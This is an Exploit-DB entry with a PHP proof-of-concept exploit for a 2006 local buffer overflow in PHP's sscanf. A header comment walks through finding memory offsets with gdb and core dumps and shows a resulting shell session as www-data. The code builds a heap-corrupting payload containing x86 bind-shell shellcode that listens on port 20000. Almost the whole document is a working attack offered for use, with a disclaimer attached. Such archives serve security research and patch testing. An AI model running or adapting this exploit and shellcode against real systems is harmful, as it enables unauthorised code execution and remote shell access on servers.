Exploit-DB #2193
Description: PHP 4.4.3/5.1.4 - 'sscanf' Local Buffer Overflow
Type: local
Platform: linux
Date: 2006-08-16
Author: Andi

Exploit:
<?
/***********************************************************
 * hoagie_php_sscanf.php
 * PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit
 *
 * howto get offsets:
 * (set $base_addr to 0x41414141)
 * # ulimit -c 20000
 * # /etc/init.d/apache restart
 * (execute script via web browser)
 * # tail /var/log/apache/error.log
 * ...
 * [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp 
 * ...
 * $ gdb /usr/sbin/apache /tmp/core
 * ...
 * ...
 * #0  0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so
 * (gdb) x/250 $edx
 * ...
 * 0x83ae16c:      0x41414141      0x41414141      0x41414141      0x41414141
 * 0x83ae17c:      0xdeadbabe      0x41414145      0x4141415d      0x00000001
 *                                 ^^^^^^^^^^
 *                                 start of our buffer (0x83ae180) = $base_addr
 * 0x83ae18c:      0x00000008      0x4141415d      0x0833d248      0x00000400
 * 0x83ae19c:      0x909006eb      0x90909090      0xe3f7db31      0x435366b0
 *                                                 ^^^^^^^^^^
 *                                                 start of shell code (0x83ae1a4)
 * 0x83ae1ac:      0x89534353      0x80cd4be1      0x6652c789      0x43204e68
 * 0x83ae1bc:      0xe1895366      0xd0f6efb0      0x89575150      0xcd66b0e1
 * 0x83ae1cc:      0x4366b080      0x5080cd43      0xe1895750      0xcd66b043
 * 0x83ae1dc:      0x89d98980      0x2c6fb0c3      0x80cd4930      0x51f6e241
 * 0x83ae1ec:      0x732f6e68      0x2f2f6868      0xe3896962      0xe1895351
 * 0x83ae1fc:      0xd0f6f4b0      0x414180cd      0x41414141      0x41414141
 * 0x83ae20c:      0x41414141      0x41414141      0x41414141      0x41414141
 * ...
 * (gdb) quit
 * #
 * (change $base_addr in exploit and now call url again)
 * # gdb /usr/sbin/apache /tmp/core
 * #0  0x40475e73 in _efree ()
 * from /usr/lib/apache/1.3/libphp4.so
 * (gdb) x/4w $ebp
 * 0xbfffb018:     0xbfffb038      0x40484241      0x0812a2f4      0xbfffb038
 *                                 ^^^^^^^^^^
 *                                 return address (return address location = 0xbfffb01c)
 * (change $rec_log in exploit and call url again)
 * $ telnet 127.0.0.1 20000
 * Trying 127.0.0.1...
 * Connected to localhost.
 * Escape character is '^]'.
 * id;
 * uid=33(www-data) gid=33(www-data) groups=33(www-data)
 * exit;
 * Connection closed by foreign host.
 * $
 *
 * NOTE: Because of PHP memory allocation this exploit depends on filename, pathname
 *       content etc... (because each line/byte will change emalloc() behavior
 *
 * Credits: Heintz (discovered this bug)
 *          BigHawk (bind shell code)
 *          Greuff (void.at)
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/

   /* base_addr for buffer in memory */
   $base_addr = 0x812a260;
   $base_addr_fill = 0x16;
   /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */
   $zval_attr = 0x00000008;
   /* will be overwritten to execute our shellcode */
   $ret_loc = 0xbfffb01c;
   /* just for searching */
   $pattern = 0xdeadbabe;

   function long2str($addr) {
      return pack("V", $addr);
   }

   $data =
   	  /* fill up memory */
          str_repeat(long2str($base_addr), $base_addr_fill) . 
          /* pattern */
          long2str($pattern) .
   	  /* current = base_addr */
	  long2str($base_addr + 0x4) .	
          /* *current = _zval_struct */
	  /* _zval_struct */
	  /* _zvalue_value */
	  /* _zvalue_value.str.val */
          long2str($base_addr + 0x10 + 0xc) .
	  /* _zvalue_value_str.len */
	  long2str(0x00000001) .
	  /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */
          long2str($zval_attr) .
	  /* _zend_mem_header */
	  /* _zend_mem_header.pNext = start of shellcode  */
          long2str($base_addr + 28) .
	  /* _zend_mem_header.pLast */
          long2str($ret_loc) .
	  /* zend_mem_header.size, zend_mem_header.cached */
	  long2str(0x000000400) .
	  /* jump over next six bytes */
	  "\xeb\x06\x90\x90" .
	  /* this bytes will be overwritten by efree() */
	  "\x90\x90\x90\x90" .
	  /* shell code starts here -
	   * BigHawk bind() version - just a little update to get rid
	   * of 0x3f 
	   */
	  "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd" .
	  "\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef" .
	  "\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43" .
	  "\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89" .
	  "\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f" .
	  "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4" .
	  "\xf6\xd0\xcd\x80" .
	  /* fill up memory */
	  str_repeat(long2str($base_addr), $base_addr_fill);

   /* fill up memory with emalloc() for sscanf() */
   quotemeta($data);

   /* trigger exploit */
   sscanf($data, '%1$s', $str);
?>

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